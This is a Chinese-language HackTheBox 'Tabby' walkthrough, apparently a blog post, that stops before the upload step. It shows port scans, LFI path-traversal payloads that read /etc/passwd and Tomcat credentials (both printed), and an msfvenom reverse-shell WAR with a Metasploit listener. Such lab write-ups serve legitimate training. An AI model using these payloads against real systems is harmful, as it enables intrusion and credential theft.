HTB Tabby渗透测试详细记录
摘要
本文记录了对Tabby的渗透测试全过程。通过端口扫描发现开放的服务,利用文件包含漏洞读取敏感信息,获取Tomcat管理员凭据,部署恶意WAR文件获取初始shell,利用密码重用提升至普通用户权限,最终通过LXD容器特权提升至root权限。
关键技术
- 端口扫描与服务识别
- 本地文件包含(LFI)漏洞
- Tomcat Manager部署恶意WAR文件
- 密码重用攻击
- 密码破解技术
- LXD特权容器提权
1. 初始侦察阶段
首先进行全端口扫描,快速识别目标机器的开放端口:
nmap -sT -min-rate 10000 -p- 10.10.10.194
参数说明:
-sT
:使用TCP连接扫描,建立完整的三次握手-min-rate 10000
:设置最小发包速率,加快扫描速度-p-
:扫描所有65535个端口10.10.10.194
:目标IP地址
扫描结果显示三个开放端口:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
2. 服务探测与信息收集
对开放端口进行详细的服务版本识别和基本脚本扫描:
nmap -sT -sC -sV -O -p22,80,8080 10.10.10.194
参数说明:
-sC
:使用默认脚本集进行扫描-sV
:探测服务版本信息-O
:尝试识别操作系统信息
详细扫描结果:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
| 256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_ 256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Mega Hosting
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp open http Apache Tomcat
|_http-title: Apache Tomcat
OS details: Linux 4.15 - 5.19
通过初步访问网站,我们发现多个链接指向megahosting.htb
域名,尤其是一个有趣的链接:
http://megahosting.htb/news.php?file=statement
将域名添加到本地hosts文件:
echo '10.10.10.194 megahosting.htb' >> "/etc/hosts"
3. 漏洞识别与初始访问
3.1 文件包含漏洞(LFI)
访问主页http://megahosting.htb/ 我注意到一个特殊的参数,http://megahosting.htb/news.php?file=statement ,这个参数可能存在文件包含漏洞?file=statement,实在是过于明显了,尝试读取/etc/password
http://megahosting.htb/news.php?file=../../../../etc/passwd
返回值如下,成功利用了文件包含漏洞,获取到了/etc/passwd
文件内容,确认存在本地文件包含漏洞。从文件内容中发现了用户ash
和tomcat
。
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false sshd:x:111:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false tomcat:x:997:997::/opt/tomcat:/bin/false mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false ash:x:1000:1000:clive:/home/ash:/bin/bash
3.2 利用LFI获取Tomcat凭据
注意到目标存在Apache Tomcat服务(端口8080),尝试获取Tomcat的认证凭据。访问http://10.10.10.194:8080/manager/ ,尝试常见的弱口令失败,但是取消登陆之后,返回401错误页面,分析错误页面可知,登陆凭证存储在conf/tomcat-users.xml中
根据Tomcat9的标准安装目录,Tomcat用户凭据通常储存在:
/usr/share/tomcat9/etc/tomcat-users.xml
再利用之前的文件包含漏洞,就可以读取到Tomcat的用户名和密码,利用LFI读取该文件:
http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml
成功获取Tomcat管理员凭据:
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
3.3 利用Tomcat接口上传恶意WAR
尝试使用凭据登录图形管理界面<a href="http://10.10.10.194:8080/manager/">http://10.10.10.194:8080/manager/</a>
,但返回403错误。提示没有权限查看此界面,默认情况下,管理员只能从与 Tomcat 在同一台机器上运行的浏览器访问。如果您想修改此限制,您需要编辑管理器的 context.xml 文件。
继续探索管理接口,对tomcat进行目录遍历、fuzz,尝试寻找新的线索
feroxbuster -u http://10.10.10.194:8080
wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://10.10.10.194:8080/manager/FUZZ
找到接口:
http://10.10.10.194:8080/manager/text/
根据官方文档,我可以利用之前获取的凭据,在这个接口,执行命令,尝试上传木马获取shell了
步骤如下:
- 使用msfvenom生成恶意WAR文件:
msfvenom -p java/shell_reverse_tcp LHOST=10.10.16.16 LPORT=9999 -f war -o exp.war
参数说明:
-p java/shell_reverse_tcp
:使用Java反向TCP连接载荷LHOST=10.10.16.16
:指定接收反弹shell的IP地址LPORT=9999
:指定监听端口-f war
:生成WAR文件格式-o exp.war
:指定输出文件名
- 设置监听器接收反弹shell:
- 启动msf控制台
msfconsole
- 设置监听器
use multi/handler
- 设置攻击载荷类型,注意要和之前的相同
set payload java/shell_reverse_tcp
- 设置本地主机ip和端口
set lhost 10.10.16.16 set lport 9999
- 验证设置
show options Payload options (java/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.16.16 yes The listen address (an interface may be specified) LPORT 9999 yes The listen port
- 建立监听
run [*] Started reverse TCP handler on 10.10.16.16:9999
- 启动msf控制台
- 上传WAR文件到Tomcat:
Comments NOTHING